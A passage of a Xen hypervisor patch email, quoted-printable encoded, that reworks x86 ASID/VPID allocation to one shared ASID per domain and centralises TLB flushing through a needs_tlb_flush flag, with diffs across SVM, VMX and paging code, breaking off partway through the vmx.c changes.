---=Part.1902.d6e2b0de82b0333e.19fb8a5eb68.d9f4fc1aecb1f2d9=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Change the ASID model where all vCPU of a domain share the same ASID
as required by AMD SEV and broadcast TLB flushing features (AMD INVLPGB)=
=2E

ASID 1 is reserved as a placeholder for "no domain ASID", and used when
either ASID are not supported or no more ASID is available for use=2E
In this case, we always flush the TLB when from and to such domain's
vCPU=2E

Moreover, centralize the TLB flushing logic to use needs_tlb_flush, if
a full TLB flush needs to be performed for the vCPU, either through
SVM tlb_control or VMX invvpid before entering the guest=2E

As a result, drop ASID tickling logic, which is now redundant with the
needs_tlb_flush mechanism introduced previously=2E Also take the opportuni=
ty
to drop some now unused helpers now that FLUSH_HVM_ASID_CORE is dropped=2E

Signed-off-by: Teddy Astie <teddy=2Eastie@vates=2Etech>
---
This patch is particularly hard to split as the required changes needs
to come all at once=2E

Some questions :=20
 - On Intel, with "ASID disabled", should we distinguish between using sen=
tinel
   "VPID=3D1" (with single-context flush of VPID=3D1) with disabling VPID =
(through
   SECONDARY_EXEC_ENABLE_VPID) which implies flushing all VPID=3D0 (Xen/PV=
 ones) TLB
   entries on vmenter ?
   Of course, hardware without VPID support can't use VPID=3D1 and will be=
have with
   VPID disabled=2E

 - I tested it on both Intel and AMD platforms without much issues, but di=
dn't
   performed tests with nested virt which has tricky interactions with the=
se
   changes=2E

 docs/misc/xen-command-line=2Epandoc      |   2 +-
 xen/arch/x86/flushtlb=2Ec                |  22 +---
 xen/arch/x86/hvm/asid=2Ec                | 169 +++++++++++--------------
 xen/arch/x86/hvm/emulate=2Ec             |   2 +-
 xen/arch/x86/hvm/hvm=2Ec                 |  14 +-
 xen/arch/x86/hvm/nestedhvm=2Ec           |   7 +-
 xen/arch/x86/hvm/svm/asid=2Ec            |  67 +++++++---
 xen/arch/x86/hvm/svm/nestedsvm=2Ec       |   2 +-
 xen/arch/x86/hvm/svm/svm=2Ec             |  35 +++--
 xen/arch/x86/hvm/svm/svm=2Eh             |   4 -
 xen/arch/x86/hvm/vmx/vmcs=2Ec            |   6 +-
 xen/arch/x86/hvm/vmx/vmx=2Ec             |  66 +++++-----
 xen/arch/x86/hvm/vmx/vvmx=2Ec            |   4 +-
 xen/arch/x86/include/asm/flushtlb=2Eh    |   7 -
 xen/arch/x86/include/asm/hvm/asid=2Eh    |  30 ++---
 xen/arch/x86/include/asm/hvm/domain=2Eh  |   1 +
 xen/arch/x86/include/asm/hvm/hvm=2Eh     |  15 +--
 xen/arch/x86/include/asm/hvm/svm=2Eh     |   5 +
 xen/arch/x86/include/asm/hvm/vcpu=2Eh    |  10 +-
 xen/arch/x86/include/asm/hvm/vmx/vmx=2Eh |   4 +-
 xen/arch/x86/mm/hap/hap=2Ec              |   9 +-
 xen/arch/x86/mm/p2m=2Ec                  |   6 +-
 xen/arch/x86/mm/paging=2Ec               |   2 +-
 xen/arch/x86/mm/shadow/multi=2Ec         |  12 +-
 24 files changed, 241 insertions(+), 260 deletions(-)

diff --git a/docs/misc/xen-command-line=2Epandoc b/docs/misc/xen-command-l=
ine=2Epandoc
index 1c711fa980=2E=2Ef59c14d447 100644
--- a/docs/misc/xen-command-line=2Epandoc
+++ b/docs/misc/xen-command-line=2Epandoc
@@ -208,7 +208,7 @@ to appropriate auditing by Xen=2E  Argo is disabled by=
 default=2E
 > Default: `true`
=20
 Permit Xen to use Address Space Identifiers=2E  This is an optimisation w=
hich
-tags the TLB entries with an ID per vcpu=2E  This allows for guest TLB fl=
ushes
+tags the TLB entries with an ID per domain=2E  This allows for guest TLB =
flushes
 to be performed without the overhead of a complete TLB flush=2E
=20
 ### async-show-all (x86)
diff --git a/xen/arch/x86/flushtlb=2Ec b/xen/arch/x86/flushtlb=2Ec
index 5e2ed50ec9=2E=2E478a3f4962 100644
--- a/xen/arch/x86/flushtlb=2Ec
+++ b/xen/arch/x86/flushtlb=2Ec
@@ -13,6 +13,7 @@
 #include <xen/softirq=2Eh>
 #include <asm/cache=2Eh>
 #include <asm/flushtlb=2Eh>
+#include <asm/hvm/hvm=2Eh>
 #include <asm/invpcid=2Eh>
 #include <asm/nops=2Eh>
 #include <asm/page=2Eh>
@@ -119,7 +120,6 @@ void switch_cr3_cr4(struct vcpu *v, unsigned long cr3,=
 unsigned long cr4)
=20
     if ( tlb_clk_enabled )
         t =3D pre_flush();
-    hvm_flush_guest_tlbs();
=20
     old_cr4 =3D read_cr4();
     ASSERT(!(old_cr4 & X86_CR4_PCIDE) || !(old_cr4 & X86_CR4_PGE));
@@ -224,9 +224,6 @@ unsigned int flush_area_local(const void *va, unsigned=
 int flags)
             do_tlb_flush();
     }
=20
-    if ( flags & FLUSH_HVM_ASID_CORE )
-        hvm_flush_guest_tlbs();
-
     if ( flags & (FLUSH_CACHE_EVICT | FLUSH_CACHE_WRITEBACK) )
     {
         const struct cpuinfo_x86 *c =3D &current_cpu_data;
@@ -316,18 +313,13 @@ void cache_writeback(const void *addr, unsigned int =
size)
     asm volatile ("sfence" ::: "memory");
 }
=20
-unsigned int guest_flush_tlb_flags(const struct domain *d)
-{
-    bool shadow =3D paging_mode_shadow(d);
-    bool asid =3D is_hvm_domain(d) && (cpu_has_svm || shadow);
-
-    return (shadow ? FLUSH_TLB : 0) | (asid ? FLUSH_HVM_ASID_CORE : 0);
-}
-
 void guest_flush_tlb_mask(const struct domain *d, const cpumask_t *mask)
 {
-    unsigned int flags =3D guest_flush_tlb_flags(d);
+    struct vcpu *v;
+
+    if ( paging_mode_shadow(d) )
+        flush_tlb_mask(mask);
=20
-    if ( flags )
-        flush_mask(mask, flags);
+    for_each_vcpu(d, v)
+        v->arch=2Eneeds_tlb_flush =3D true;
 }
diff --git a/xen/arch/x86/hvm/asid=2Ec b/xen/arch/x86/hvm/asid=2Ec
index 935cae3901=2E=2E1a21125161 100644
--- a/xen/arch/x86/hvm/asid=2Ec
+++ b/xen/arch/x86/hvm/asid=2Ec
@@ -5,138 +5,115 @@
  * Copyright (c) 2009, Citrix Systems, Inc=2E
  */
=20
+#include <xen/errno=2Eh>
 #include <xen/init=2Eh>
 #include <xen/lib=2Eh>
 #include <xen/param=2Eh>
-#include <xen/sched=2Eh>
-#include <xen/smp=2Eh>
-#include <xen/percpu=2Eh>
+#include <xen/spinlock=2Eh>
+#include <xen/xvmalloc=2Eh>
+
+#include <asm/bitops=2Eh>
 #include <asm/hvm/asid=2Eh>
=20
 /* Xen command-line option to enable ASIDs */
 static bool __read_mostly opt_asid_enabled =3D true;
 boolean_param("asid", opt_asid_enabled);
=20
+bool __read_mostly asid_enabled =3D false;
+static unsigned long __ro_after_init *asid_bitmap;
+static unsigned long __ro_after_init asid_count;
+static DEFINE_SPINLOCK(asid_lock);
+
 /*
- * ASIDs partition the physical TLB=2E  In the current implementation ASI=
Ds are
- * introduced to reduce the number of TLB flushes=2E  Each time the guest=
's
- * virtual address space changes (e=2Eg=2E due to an INVLPG, MOV-TO-{CR3,=
 CR4}
- * operation), instead of flushing the TLB, a new ASID is assigned=2E  Th=
is
- * reduces the number of TLB flushes to at most 1/#ASIDs=2E  The biggest
- * advantage is that hot parts of the hypervisor's code and data retain i=
n
- * the TLB=2E
- *
  * Sketch of the Implementation:
+ * ASIDs are assigned uniquely per domain and doesn't change during the l=
ifecycle of the
+ * domain=2E Once vcpus are initialized and are up, we assign the same AS=
ID to all vcpus
+ * of that domain at the first VMRUN=2E In order to process a TLB flush o=
n a vcpu, we set
+ * needs_tlb_flush to schedule a TLB flush for the next VMRUN (e=2Eg usin=
g tlb control=20
+ * field of VMCB)=2E
  *
- * ASIDs are a CPU-local resource=2E  As preemption of ASIDs is not possi=
ble,
- * ASIDs are assigned in a round-robin scheme=2E  To minimize the overhea=
d of
- * ASID invalidation, at the time of a TLB flush,  ASIDs are tagged with =
a
- * 64-bit generation=2E  Only on a generation overflow the code needs to
- * invalidate all ASID information stored at the VCPUs with are run on th=
e
- * specific physical processor=2E  This overflow appears after about 2^80
- * host processor cycles, so we do not optimize this case, but simply dis=
able
- * ASID useage to retain correctness=2E
+ * We reserve ASID=3D1 as being the ASID used when none other is availabl=
e (or with asid
+ * use disabled)=2E Multiples domains may use this ASID, thus we need to =
systematically
+ * flush the TLB for this one when switching between vCPUs with ASID=3D1=
=2E
  */
=20
-/* Per-CPU ASID management=2E */
-struct hvm_asid_data {
-   uint64_t core_asid_generation;
-   uint32_t next_asid;
-   uint32_t max_asid;
-   bool disabled;
-};
-
-static DEFINE_PER_CPU(struct hvm_asid_data, hvm_asid_data);
-
-void hvm_asid_init(unsigned int nasids)
+int __init hvm_asid_init(unsigned long nasids)
 {
-    static int8_t __ro_after_init g_disabled =3D -1;
-    struct hvm_asid_data *data =3D &this_cpu(hvm_asid_data);
+    ASSERT(nasids);
=20
-    data->max_asid =3D nasids - 1;
-    data->disabled =3D !opt_asid_enabled || (nasids <=3D 1);
+    asid_count =3D nasids;
+    asid_enabled =3D opt_asid_enabled && (nasids > 1);
=20
-    if ( g_disabled < 0 )
-    {
-        g_disabled =3D data->disabled;
-        printk("HVM: ASIDs %sabled\n", data->disabled ? "dis" : "en");
-    }
-    else if ( g_disabled !=3D data->disabled )
-        printk("HVM: CPU%u: ASIDs %sabled\n", smp_processor_id(),
-               data->disabled ? "dis" : "en");
+    asid_bitmap =3D xvzalloc_array(unsigned long, BITS_TO_LONGS(asid_coun=
t + 1));
+    if ( !asid_bitmap )
+        return -ENOMEM;
=20
-    /* Zero indicates 'invalid generation', so we start the count at one=
=2E */
-    data->core_asid_generation =3D 1;
+    printk("HVM: ASIDs %sabled (count=3D%lu)\n", asid_enabled ? "en" : "d=
is", asid_count);
=20
-    /* Zero indicates 'ASIDs disabled', so we start the count at one=2E *=
/
-    data->next_asid =3D 1;
-}
+    /* ASID 0 and 1 are reserved, mark it as permanently used */
+    set_bit(0, asid_bitmap);
+    set_bit(1, asid_bitmap);
=20
-void hvm_asid_flush_vcpu_asid(struct hvm_vcpu_asid *asid)
-{
-    write_atomic(&asid->generation, 0);
+    return 0;
 }
=20
-void hvm_asid_flush_vcpu(struct vcpu *v)
+int hvm_asid_alloc(struct hvm_asid *asid)
 {
-    hvm_asid_flush_vcpu_asid(&v->arch=2Ehvm=2En1asid);
-    hvm_asid_flush_vcpu_asid(&vcpu_nestedhvm(v)=2Env_n2asid);
-}
+    unsigned long new_asid;
=20
-void hvm_asid_flush_core(void)
-{
-    struct hvm_asid_data *data =3D &this_cpu(hvm_asid_data);
+    if ( !asid_enabled )
+    {
+        asid->asid =3D 1;
+        return 0;
+    }
=20
-    if ( data->disabled )
-        return;
+    spin_lock(&asid_lock);
+    new_asid =3D find_first_zero_bit(asid_bitmap, asid_count);
+    if ( new_asid > asid_count )
+        return -ENOSPC;
=20
-    if ( likely(++data->core_asid_generation !=3D 0) )
-        return;
+    set_bit(new_asid, asid_bitmap);
=20
-    /*
-     * ASID generations are 64 bit=2E  Overflow of generations never happ=
ens=2E
-     * For safety, we simply disable ASIDs, so correctness is established=
; it
-     * only runs a bit slower=2E
-     */
-    printk("HVM: ASID generation overrun=2E Disabling ASIDs=2E\n");
-    data->disabled =3D 1;
+    asid->asid =3D new_asid;
+    spin_unlock(&asid_lock);
+    return 0;
 }
=20
-bool hvm_asid_handle_vmenter(struct hvm_vcpu_asid *asid)
+int hvm_asid_alloc_range(struct hvm_asid *asid, unsigned long min, unsign=
ed long max)
 {
-    struct hvm_asid_data *data =3D &this_cpu(hvm_asid_data);
+    unsigned long new_asid;
+   =20
+    if ( WARN_ON(min >=3D asid_count) )
+        return -EINVAL;
=20
-    /* On erratum #170 systems we must flush the TLB=2E=20
-     * Generation overruns are taken here, too=2E */
-    if ( data->disabled )
-        goto disabled;
+    if ( !asid_enabled )
+        return -EOPNOTSUPP;
=20
-    /* Test if VCPU has valid ASID=2E */
-    if ( read_atomic(&asid->generation) =3D=3D data->core_asid_generation=
 )
-        return 0;
+    spin_lock(&asid_lock);
+    new_asid =3D find_next_zero_bit(asid_bitmap, asid_count, min);
+    if ( new_asid > max || new_asid > asid_count )
+        return -ENOSPC;
=20
-    /* If there are no free ASIDs, need to go to a new generation */
-    if ( unlikely(data->next_asid > data->max_asid) )
-    {
-        hvm_asid_flush_core();
-        data->next_asid =3D 1;
-        if ( data->disabled )
-            goto disabled;
-    }
+    set_bit(new_asid, asid_bitmap);
=20
-    /* Now guaranteed to be a free ASID=2E */
-    asid->asid =3D data->next_asid++;
-    write_atomic(&asid->generation, data->core_asid_generation);
+    asid->asid =3D new_asid;
+    spin_unlock(&asid_lock);
+    return 0;
+}
=20
-    /*
-     * When we assign ASID 1, flush all TLB entries as we are starting a =
new
-     * generation, and all old ASID allocations are now stale=2E=20
-     */
-    return (asid->asid =3D=3D 1);
+void hvm_asid_free(struct hvm_asid *asid)
+{
+    ASSERT( asid->asid );
=20
- disabled:
-    asid->asid =3D 0;
-    return 0;
+    if ( !asid_enabled || asid->asid =3D=3D 1 )
+        return;
+
+    ASSERT( asid->asid < asid_count );
+
+    spin_lock(&asid_lock);
+    WARN_ON(!test_bit(asid->asid, asid_bitmap));
+    clear_bit(asid->asid, asid_bitmap);
+    spin_unlock(&asid_lock);
 }
=20
 /*
diff --git a/xen/arch/x86/hvm/emulate=2Ec b/xen/arch/x86/hvm/emulate=2Ec
index 2efb1d4f08=2E=2E259a2b0caf 100644
--- a/xen/arch/x86/hvm/emulate=2Ec
+++ b/xen/arch/x86/hvm/emulate=2Ec
@@ -2655,7 +2655,7 @@ static int cf_check hvmemul_tlb_op(
     case x86emul_invpcid:
         if ( x86emul_invpcid_type(aux) !=3D X86_INVPCID_INDIV_ADDR )
         {
-            hvm_asid_flush_vcpu(current);
+            current->arch=2Eneeds_tlb_flush =3D true;
             break;
         }
         aux =3D x86emul_invpcid_pcid(aux);
diff --git a/xen/arch/x86/hvm/hvm=2Ec b/xen/arch/x86/hvm/hvm=2Ec
index a75ccb57bf=2E=2E283dcad691 100644
--- a/xen/arch/x86/hvm/hvm=2Ec
+++ b/xen/arch/x86/hvm/hvm=2Ec
@@ -715,6 +715,10 @@ int hvm_domain_initialise(struct domain *d,
     if ( rc )
         goto fail2;
=20
+    rc =3D hvm_asid_alloc(&d->arch=2Ehvm=2Easid);
+    if ( rc )
+        goto fail2;
+
     rc =3D alternative_call(hvm_funcs=2Edomain_initialise, d);
     if ( rc !=3D 0 )
         goto fail2;
@@ -795,7 +799,7 @@ void hvm_domain_destroy(struct domain *d)
         list_del(&ioport->list);
         xfree(ioport);
     }
-
+    hvm_asid_free(&d->arch=2Ehvm=2Easid);
     destroy_vpci_mmcfg(d);
 }
=20
@@ -1613,7 +1617,7 @@ int hvm_vcpu_initialise(struct vcpu *v)
     int rc;
     struct domain *d =3D v->domain;
=20
-    hvm_asid_flush_vcpu(v);
+    v->arch=2Eneeds_tlb_flush =3D true;
=20
     spin_lock_init(&v->arch=2Ehvm=2Etm_lock);
     INIT_LIST_HEAD(&v->arch=2Ehvm=2Etm_list);
@@ -4085,6 +4089,11 @@ static void hvm_s3_resume(struct domain *d)
     }
 }
=20
+int hvm_flush_tlb(const unsigned long *vcpu_bitmap)
+{
+    return current->domain->arch=2Epaging=2Eflush_tlb(vcpu_bitmap);
+}
+
 static int hvmop_flush_tlb_all(void)
 {
     if ( !is_hvm_domain(current->domain) )
@@ -5461,4 +5470,3 @@ int hvm_copy_context_and_params(struct domain *dst, =
struct domain *src)
  * indent-tabs-mode: nil
  * End:
  */
-
diff --git a/xen/arch/x86/hvm/nestedhvm=2Ec b/xen/arch/x86/hvm/nestedhvm=
=2Ec
index bddd77d810=2E=2E61e866b771 100644
--- a/xen/arch/x86/hvm/nestedhvm=2Ec
+++ b/xen/arch/x86/hvm/nestedhvm=2Ec
@@ -12,6 +12,7 @@
 #include <asm/hvm/nestedhvm=2Eh>
 #include <asm/event=2Eh>  /* for local_event_delivery_(en|dis)able */
 #include <asm/paging=2Eh> /* for paging_mode_hap() */
+#include <asm/hvm/asid=2Eh>
=20
 static unsigned long *shadow_io_bitmap[3];
=20
@@ -36,13 +37,11 @@ nestedhvm_vcpu_reset(struct vcpu *v)
     hvm_unmap_guest_frame(nv->nv_vvmcx, 1);
     nv->nv_vvmcx =3D NULL;
     nv->nv_vvmcxaddr =3D INVALID_PADDR;
-    nv->nv_flushp2m =3D 0;
+    nv->nv_flushp2m =3D true;
     nv->nv_p2m =3D NULL;
     nv->stale_np2m =3D false;
     nv->np2m_generation =3D 0;
=20
-    hvm_asid_flush_vcpu_asid(&nv->nv_n2asid);
-
     alternative_vcall(hvm_funcs=2Enhvm_vcpu_reset, v);
=20
     /* vcpu is in host mode */
@@ -86,7 +85,7 @@ static void cf_check nestedhvm_flushtlb_ipi(void *info)
      * This is cheaper than flush_tlb_local() and has
      * the same desired effect=2E
      */
-    hvm_asid_flush_core();
+    WARN_ON(hvm_flush_tlb(NULL));
     vcpu_nestedhvm(v)=2Env_p2m =3D NULL;
     vcpu_nestedhvm(v)=2Estale_np2m =3D true;
 }
diff --git a/xen/arch/x86/hvm/svm/asid=2Ec b/xen/arch/x86/hvm/svm/asid=2Ec
index 53aa5d0512=2E=2E44d2138895 100644
--- a/xen/arch/x86/hvm/svm/asid=2Ec
+++ b/xen/arch/x86/hvm/svm/asid=2Ec
@@ -1,39 +1,46 @@
 /* SPDX-License-Identifier: GPL-2=2E0-only */
 /*
- * asid=2Ec: handling ASIDs in SVM=2E
+ * asid=2Ec: handling ASIDs/VPIDs=2E
  * Copyright (c) 2007, Advanced Micro Devices, Inc=2E
  */
=20
+#include <xen/cpumask=2Eh>
+
 #include <asm/amd=2Eh>
 #include <asm/hvm/nestedhvm=2Eh>
 #include <asm/hvm/svm=2Eh>
+#include <asm/processor=2Eh>
=20
 #include "svm=2Eh"
 #include "vmcb=2Eh"
=20
-void svm_asid_init(const struct cpuinfo_x86 *c)
+void __init svm_asid_init(void)
 {
-    unsigned int nasids =3D 0;
+    unsigned int cpu, nasids =3D cpuid_ebx(0x8000000aU);
+
+    if ( !nasids )
+        nasids =3D 1;
=20
-    /* Check for erratum #170, and leave ASIDs disabled if it's present=
=2E */
-    if ( !cpu_has_amd_erratum(c, AMD_ERRATUM_170) )
-        nasids =3D cpuid_ebx(0x8000000aU);
+    for_each_present_cpu(cpu)
+    {
+        /* Check for erratum #170, and leave ASIDs disabled if it's prese=
nt=2E */
+        if ( cpu_has_amd_erratum(&cpu_data[cpu], AMD_ERRATUM_170) )
+        {
+            printk(XENLOG_WARNING "Disabling ASID due to errata 170 on CP=
U%u\n", cpu);
+            nasids =3D 1;
+        }
+    }
=20
-    hvm_asid_init(nasids);
+    BUG_ON(hvm_asid_init(nasids));
 }
=20
 /*
- * Called directly before VMRUN=2E  Checks if the VCPU needs a new ASID,
- * assigns it, and if required, issues required TLB flushes=2E
+ * Called directly at the first VMRUN/VMENTER of a vcpu to assign the ASI=
D/VPID=2E
  */
-void svm_asid_handle_vmrun(void)
+void svm_vcpu_assign_asid(struct vcpu *v)
 {
-    struct vcpu *curr =3D current;
-    struct vmcb_struct *vmcb =3D curr->arch=2Ehvm=2Esvm=2Evmcb;
-    struct hvm_vcpu_asid *p_asid =3D
-        nestedhvm_vcpu_in_guestmode(curr)
-        ? &vcpu_nestedhvm(curr)=2Env_n2asid : &curr->arch=2Ehvm=2En1asid;
-    bool need_flush =3D hvm_asid_handle_vmenter(p_asid);
+    struct vmcb_struct *vmcb =3D v->arch=2Ehvm=2Esvm=2Evmcb;
+    struct hvm_asid *p_asid =3D &v->domain->arch=2Ehvm=2Easid;
=20
     /* ASID 0 indicates that ASIDs are disabled=2E */
     if ( p_asid->asid =3D=3D 0 )
@@ -44,11 +51,31 @@ void svm_asid_handle_vmrun(void)
         return;
     }
=20
-    if ( vmcb_get_asid(vmcb) !=3D p_asid->asid )
-        vmcb_set_asid(vmcb, p_asid->asid);
+    /* In case ASIDs are disabled, as ASID =3D 0 is reserved, guest can u=
se 1 instead=2E */
+    vmcb_set_asid(vmcb, asid_enabled ? p_asid->asid : 1);
+}
+
+/* Call to make a TLB flush at the next VMRUN=2E */
+void svm_vcpu_set_tlb_control(struct vcpu *v)
+{
+    struct vmcb_struct *vmcb =3D v->arch=2Ehvm=2Esvm=2Evmcb;
+
+    /*
+     * If the vcpu is already running, the tlb control flag may not be
+     * processed and will be cleared at the next VMEXIT, which will undo
+     * what we are trying to do=2E
+     */
+    WARN_ON(v !=3D current && v->is_running);
+
+    vmcb->tlb_control =3D
+        cpu_has_svm_flushbyasid ? TLB_CTRL_FLUSH_ASID : TLB_CTRL_FLUSH_AL=
L;
+}
+
+void svm_vcpu_clear_tlb_control(struct vcpu *v)
+{
+    struct vmcb_struct *vmcb =3D v->arch=2Ehvm=2Esvm=2Evmcb;
=20
-    /* We can't rely on TLB_CTRL_FLUSH_ASID as all ASIDs are stale here=
=2E */
-    vmcb->tlb_control =3D need_flush ? TLB_CTRL_FLUSH_ALL : TLB_CTRL_NO_F=
LUSH;
+    vmcb->tlb_control =3D TLB_CTRL_NO_FLUSH;
 }
=20
 /*
diff --git a/xen/arch/x86/hvm/svm/nestedsvm=2Ec b/xen/arch/x86/hvm/svm/nes=
tedsvm=2Ec
index b06124c2c9=2E=2Ec712b98256 100644
--- a/xen/arch/x86/hvm/svm/nestedsvm=2Ec
+++ b/xen/arch/x86/hvm/svm/nestedsvm=2Ec
@@ -5,6 +5,7 @@
  *
  */
=20
+#include <asm/hvm/asid=2Eh>
 #include <asm/hvm/support=2Eh>
 #include <asm/hvm/svm=2Eh>
 #include <asm/hvm/nestedhvm=2Eh>
@@ -633,7 +634,6 @@ nsvm_vcpu_vmentry(struct vcpu *v, struct cpu_user_regs=
 *regs,
     if ( svm->ns_asid !=3D vmcb_get_asid(ns_vmcb))
     {
         nv->nv_flushp2m =3D 1;
-        hvm_asid_flush_vcpu_asid(&vcpu_nestedhvm(v)=2Env_n2asid);
         svm->ns_asid =3D vmcb_get_asid(ns_vmcb);
     }
=20
diff --git a/xen/arch/x86/hvm/svm/svm=2Ec b/xen/arch/x86/hvm/svm/svm=2Ec
index 38c61db1d7=2E=2Ee9026e0ae5 100644
--- a/xen/arch/x86/hvm/svm/svm=2Ec
+++ b/xen/arch/x86/hvm/svm/svm=2Ec
@@ -27,6 +27,7 @@
 #include <asm/hvm/nestedhvm=2Eh>
 #include <asm/hvm/support=2Eh>
 #include <asm/hvm/svm=2Eh>
+#include <asm/hvm/asid=2Eh>
 #include <asm/i387=2Eh>
 #include <asm/idt=2Eh>
 #include <asm/iocap=2Eh>
@@ -137,14 +138,17 @@ static void cf_check svm_update_guest_cr(
         if ( !nestedhvm_enabled(v->domain) )
         {
             if ( !(flags & HVM_UPDATE_GUEST_CR3_NOFLUSH) )
-                hvm_asid_flush_vcpu(v);
+                v->arch=2Eneeds_tlb_flush =3D true;
         }
         else if ( nestedhvm_vmswitch_in_progress(v) )
             ; /* CR3 switches during VMRUN/VMEXIT do not flush the TLB=2E=
 */
         else if ( !(flags & HVM_UPDATE_GUEST_CR3_NOFLUSH) )
-            hvm_asid_flush_vcpu_asid(
-                nestedhvm_vcpu_in_guestmode(v)
-                ? &vcpu_nestedhvm(v)=2Env_n2asid : &v->arch=2Ehvm=2En1asi=
d);
+        {
+            if (nestedhvm_vcpu_in_guestmode(v))
+                vcpu_nestedhvm(v)=2Env_flushp2m =3D true;
+            else
+                v->arch=2Eneeds_tlb_flush =3D true;
+        }
         break;
     case 4:
         value =3D HVM_CR4_HOST_MASK;
@@ -952,8 +956,7 @@ static void noreturn cf_check svm_do_resume(void)
         v->arch=2Ehvm=2Esvm=2Elaunch_core =3D smp_processor_id();
         hvm_migrate_timers(v);
         hvm_migrate_pirqs(v);
-        /* Migrating to another ASID domain=2E  Request a new ASID=2E */
-        hvm_asid_flush_vcpu(v);
+        v->arch=2Eneeds_tlb_flush =3D true;
     }
=20
     if ( !vcpu_guestmode && !vlapic_hw_disabled(vlapic) )
@@ -980,13 +983,14 @@ void asmlinkage svm_vmenter_helper(void)
=20
     ASSERT(hvmemul_cache_disabled(curr));
=20
-    svm_asid_handle_vmrun();
-
     TRACE_TIME(TRC_HVM_VMENTRY |
                (nestedhvm_vcpu_in_guestmode(curr) ? TRC_HVM_NESTEDFLAG : =
0));
=20
     svm_sync_vmcb(curr, vmcb_needs_vmsave);
=20
+    if ( test_and_clear_bool(curr->arch=2Eneeds_tlb_flush) )
+        svm_vcpu_set_tlb_control(curr);
+
     vmcb->rax =3D regs->rax;
     vmcb->rip =3D regs->rip;
     vmcb->rsp =3D regs->rsp;
@@ -1107,6 +1111,8 @@ static int cf_check svm_vcpu_initialise(struct vcpu =
*v)
         return rc;
     }
=20
+    svm_vcpu_assign_asid(v);
+
     return 0;
 }
=20
@@ -1532,9 +1538,6 @@ static int _svm_cpu_up(bool bsp)
     /* check for erratum 383 */
     svm_init_erratum_383(c);
=20
-    /* Initialize core's ASID handling=2E */
-    svm_asid_init(c);
-
     /* Initialize OSVW bits to be used by guests */
     svm_host_osvw_init();
=20
@@ -2289,7 +2292,7 @@ static void svm_invlpga_intercept(
 {
     svm_invlpga(linear,
                 (asid =3D=3D 0)
-                ? v->arch=2Ehvm=2En1asid=2Easid
+                ? v->domain->arch=2Ehvm=2Easid=2Easid
                 : vcpu_nestedhvm(v)=2Env_n2asid=2Easid);
 }
=20
@@ -2311,8 +2314,8 @@ static bool cf_check is_invlpg(
=20
 static void cf_check svm_invlpg(struct vcpu *v, unsigned long linear)
 {
-    /* Safe fallback=2E Take a new ASID=2E */
-    hvm_asid_flush_vcpu(v);
+    /* Schedule a tlb flush on the VCPU=2E */
+    v->arch=2Eneeds_tlb_flush =3D true;
 }
=20
 static bool cf_check svm_get_pending_event(
@@ -2482,6 +2485,8 @@ const struct hvm_function_table * __init start_svm(v=
oid)
     svm_function_table=2Ecaps=2Ehap_superpage_2mb =3D true;
     svm_function_table=2Ecaps=2Ehap_superpage_1gb =3D cpu_has_page1gb;
=20
+    svm_asid_init();
+
     return &svm_function_table;
 }
=20
@@ -2539,6 +2544,8 @@ void asmlinkage svm_vmexit_handler(void)
                    (vlapic_get_reg(vlapic, APIC_TASKPRI) & 0x0F));
     }
=20
+    svm_vcpu_clear_tlb_control(v);
+
     exit_reason =3D vmcb->exitcode;
=20
     if ( hvm_long_mode_active(v) )
diff --git a/xen/arch/x86/hvm/svm/svm=2Eh b/xen/arch/x86/hvm/svm/svm=2Eh
index cfa411ad5a=2E=2E901354e914 100644
--- a/xen/arch/x86/hvm/svm/svm=2Eh
+++ b/xen/arch/x86/hvm/svm/svm=2Eh
@@ -12,12 +12,8 @@
 #include <xen/types=2Eh>
=20
 struct cpu_user_regs;
-struct cpuinfo_x86;
 struct vcpu;
=20
-void svm_asid_init(const struct cpuinfo_x86 *c);
-void svm_asid_handle_vmrun(void);
-
 unsigned long *svm_msrbit(unsigned long *msr_bitmap, uint32_t msr);
 void __update_guest_eip(struct cpu_user_regs *regs, unsigned int inst_len=
);
=20
diff --git a/xen/arch/x86/hvm/vmx/vmcs=2Ec b/xen/arch/x86/hvm/vmx/vmcs=2Ec
index 8e52ef4d49=2E=2E3916ae4468 100644
--- a/xen/arch/x86/hvm/vmx/vmcs=2Ec
+++ b/xen/arch/x86/hvm/vmx/vmcs=2Ec
@@ -20,6 +20,7 @@
 #include <asm/current=2Eh>
 #include <asm/flushtlb=2Eh>
 #include <asm/hvm/hvm=2Eh>
+#include <asm/hvm/asid=2Eh>
 #include <asm/hvm/io=2Eh>
 #include <asm/hvm/nestedhvm=2Eh>
 #include <asm/hvm/vmx/vmcs=2Eh>
@@ -778,8 +779,6 @@ static int _vmx_cpu_up(bool bsp)
=20
     this_cpu(vmxon) =3D 1;
=20
-    hvm_asid_init(cpu_has_vmx_vpid ? (1u << VMCS_VPID_WIDTH) : 0);
-
     if ( cpu_has_vmx_ept )
         ept_sync_all();
=20
@@ -1903,7 +1902,7 @@ void cf_check vmx_do_resume(void)
          */
         v->arch=2Ehvm=2Evmx=2Ehostenv_migrated =3D 1;
=20
-        hvm_asid_flush_vcpu(v);
+        v->arch=2Eneeds_tlb_flush =3D true;
     }
=20
     debug_state =3D v->domain->debugger_attached
@@ -2116,7 +2115,6 @@ void vmcs_dump_vcpu(struct vcpu *v)
          (SECONDARY_EXEC_ENABLE_VPID | SECONDARY_EXEC_ENABLE_VM_FUNCTIONS=
) )
         printk("Virtual processor ID =3D 0x%04x VMfunc controls =3D %016l=
x\n",
                vmr16(VIRTUAL_PROCESSOR_ID), vmr(VM_FUNCTION_CONTROL));
-
     vmx_vmcs_exit(v);
 }
=20
diff --git a/xen/arch/x86/hvm/vmx/vmx=2Ec b/xen/arch/x86/hvm/vmx/vmx=2Ec
index 269ca56433=2E=2Ea531145218 100644
--- a/xen/arch/x86/hvm/vmx/vmx=2Ec
+++ b/xen/arch/x86/hvm/vmx/vmx=2Ec
@@ -25,6 +25,7 @@
 #include <asm/fsgsbase=2Eh>
 #include <asm/gdbsx=2Eh>
 #include <asm/guest-msr=2Eh>
+#include <asm/hvm/asid=2Eh>
 #include <asm/hvm/emulate=2Eh>
 #include <asm/hvm/hvm=2Eh>
 #include <asm/hvm/monitor=2Eh>
@@ -834,6 +835,18 @@ static void cf_check vmx_cpuid_policy_changed(struct =
vcpu *v)
         vmx_update_secondary_exec_control(v);
     }
=20
+    if ( asid_enabled )
+    {
+        v->arch=2Ehvm=2Evmx=2Esecondary_exec_control |=3D SECONDARY_EXEC_=
ENABLE_VPID;
+        vmx_update_secondary_exec_control(v);
+    }
+    else
+    {
+        v->arch=2Ehvm=2Evmx=2Esecondary_exec_control &=3D ~SECONDARY_EXEC=
_ENABLE_VPID;
